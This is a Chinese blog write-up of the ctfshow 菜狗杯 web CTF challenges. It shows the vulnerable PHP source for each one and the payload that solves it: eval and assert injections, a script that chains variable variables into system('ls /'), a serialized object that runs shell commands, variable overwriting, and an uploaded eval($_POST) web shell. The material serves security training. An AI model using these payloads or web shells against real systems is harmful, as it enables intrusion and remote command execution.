小言_互联网的博客

ctfshow(菜狗杯)

985人阅读  评论(0)

目录

web签到

 一言既出

驷马难追

web2 c0me_t0_s1gn

我的眼里只有$

TAPTAPTAP

Webshell

化零为整

无一幸免

遍地飘零

传说之下(雾)

Is_Not_Obfuscate


web签到


  
  1. <?php
  2. error_reporting( 0);
  3. highlight_file( __FILE__);
  4. eval( $_REQUEST[ $_GET[ $_POST[ $_COOKIE[ 'CTFshow-QQ群:']]]][ 6][ 0][ 7][ 5][ 8][ 0][ 9][ 4][ 4]);

http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");

post: a=b

cookie:CTFshow-QQ%E7%BE%A4:a   

把群进行url编码就可以

这样的话cookie传入 =a ,然后破石头  a=b  ,get  b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西 

 一言既出


  
  1. <?php
  2. highlight_file( __FILE__);
  3. include "flag.php";
  4. if ( isset( $_GET[ 'num'])){
  5. if ( $_GET[ 'num'] == 114514){
  6. assert( "intval($_GET[num])==1919810") or die( "一言既出,驷马难追!");
  7. echo $flag;
  8. }
  9. }

看到一些危险的执行函数就要注意,就会执行后面的东西,

intval(114514);//)   输入114514);//

就会执行里面的内容然后注释掉了后面的全部内容,输出flag

驷马难追


  
  1. <?php
  2. highlight_file( __FILE__);
  3. include "flag.php";
  4. if ( isset( $_GET[ 'num'])){
  5. if ( $_GET[ 'num'] == 114514 && check( $_GET[ 'num'])){
  6. assert( "intval($_GET[num])==1919810") or die( "一言既出,驷马难追!");
  7. echo $flag;
  8. }
  9. }
  10. function check($str){
  11. return ! preg_match( "/[a-z]|\;|\(|\)/", $str);
  12. }

和上一个没太大的区别,就增加了一层过滤,然后注释掉了括号

这个采用?num=114514%2b1805296的方法

%2b是加号的意思,

web2 c0me_t0_s1gn

跟着提示,控制台运行就会得出

我的眼里只有$


  
  1. <?php
  2. error_reporting( 0);
  3. extract( $_POST);
  4. eval( $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
  5. highlight_file( __FILE__);

假如_=a $_=a ,如果这时候传入a=b $$a=b, $有点多用脚本把

一共有36个$和一共_,需要在_的基础上加上36层


  
  1. import string
  2. a= '_=a&'
  3. code= "system('ls /');"
  4. for i in range( 35):
  5. a+=s[i]+ "="+s[i+ 1]+ "&"
  6. a+=s[i]+ "="+code
  7. print(a)

i一开始从0开始  34结束所以最后结尾会加上一个35,s=string.ascii_letters是字母从下标0开始

TAPTAPTAP

翻到源码,直接base64解密, 

访问获得flag

Webshell


  
  1. <?php
  2. error_reporting( 0);
  3. class Webshell {
  4. public $cmd = 'echo "Hello World!"';
  5. public function __construct() {
  6. $this-> init();
  7. }
  8. public function init() {
  9. if (! preg_match( '/flag/i', $this->cmd)) {
  10. $this-> exec( $this->cmd);
  11. }
  12. }
  13. public function exec($cmd) {
  14. $result = shell_exec( $cmd);
  15. echo $result;
  16. }
  17. }
  18. if( isset( $_GET[ 'cmd'])) {
  19. $serializecmd = $_GET[ 'cmd'];
  20. $unserializecmd = unserialize( $serializecmd);
  21. $unserializecmd-> init();
  22. }
  23. else {
  24. highlight_file( __FILE__);
  25. }
  26. ?>

直接给cmd赋值就可以了,然后shell_exec执行,输出只不过输出是在源代码中输出的


  
  1. <?php
  2. class Webshell {
  3. public $cmd = "cat f*";
  4. }
  5. $W= new Webshell();
  6. echo serialize( $W);

获得flag

化零为整


  
  1. <?php
  2. highlight_file( __FILE__);
  3. include "flag.php";
  4. $result= '';
  5. for ( $i= 1; $i<= count( $_GET); $i++){
  6. if ( strlen( $_GET[ $i])> 1){
  7. die( "你太长了!!");
  8. }
  9. else{
  10. $result= $result. $_GET[ $i];
  11. }
  12. }
  13. if ( $result === "大牛"){
  14. echo $flag;
  15. }

 count($_GET)

首先这里就是统计get传参的个数比如,?a=1   值为1   a=1&b=2   就为2了

strlen($_GET[$i])>1

首先strlen是统计字节的个数,%4e这样的形式只占用一个字节,是统计 a=%4e统计等号的右边

所以这道题考虑用汉字的url编码绕过,一个汉字有3位url编码,然后用1-6

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免


  
  1. <?php
  2. include "flag.php";
  3. highlight_file( __FILE__);
  4. if ( isset( $_GET[ '0'])){
  5. $arr[ $_GET[ '0']]= 1;
  6. if ( $arr[]= 1){
  7. die( $flag);
  8. }
  9. else{
  10. die( "nonono!");
  11. }
  12. }

 这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值 

遍地飘零


  
  1. <?php
  2. include "flag.php";
  3. highlight_file( __FILE__);
  4. $zeros= "000000000000000000000000000000";
  5. foreach( $_GET as $key => $value){
  6. $$key= $$value;
  7. }
  8. if ( $flag== "000000000000000000000000000000"){
  9. echo "好多零";
  10. } else{
  11. echo "没有零,仔细看看输入有什么问题吧";
  12. var_dump( $_GET);
  13. }

变量覆盖的题目payload:?_GET=flag

传说之下(雾)

打开之后是一个小游戏,一般这样都考察js前端

然后往上面翻找到了这个

this当前的为Game类,

直接在控制太输出Game.score=3000 改变类中的属性,获得flag

Is_Not_Obfuscate

打开界面查看源码

首先看到,decode,这是解密的说明会有一段加密的东西

如果action=test会执行,然后看下面有个robots.txt,访问

flag=0没东西,flag=1发现有一段加密后的源码

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT

 然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现+被过滤掉了,需要一层的url 编码


  
  1. Anything is good?Please test it. <?php
  2. header( "Content-Type:text/html;charset=utf-8");
  3. include 'lib.php';
  4. if(! is_dir( './plugins/')){
  5. @ mkdir( './plugins/', 0777);
  6. }
  7. //Test it and delete it !!!
  8. //测试执行加密后的插件代码
  9. if( $_GET[ 'action'] === 'test') {
  10. echo 'Anything is good?Please test it.';
  11. @ eval( decode( $_GET[ 'input']));
  12. }
  13. ini_set( 'open_basedir', './plugins/');
  14. if(! empty( $_GET[ 'action'])){
  15. switch ( $_GET[ 'action']){
  16. case 'pull':
  17. $output = @ eval( decode( file_get_contents( './plugins/'. $_GET[ 'input'])));
  18. echo "pull success";
  19. break;
  20. case 'push':
  21. $input = file_put_contents( './plugins/'. md5( $_GET[ 'output']. 'youyou'), encode( $_GET[ 'output']));
  22. echo "push success";
  23. break;
  24. default:
  25. die( 'hacker!');
  26. }
  27. }

 获得了源码界面,从源码可以看出push 用于上传,一句话木马但是经过了链接youyou进行了加密

                                                       pull 用于接受一句话木马,只需要获得上传木马这个文件名就可以利用

<?php eval($_POST['shell']);?>   上传

 预览输入这个32位小写

但是经过了实验,发现只有传参get才可以利用shell=system('ls /');,post不行

很奇特的点,学到了很多,题后续还会一直补充


转载:https://blog.csdn.net/qq_62046696/article/details/127872142
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场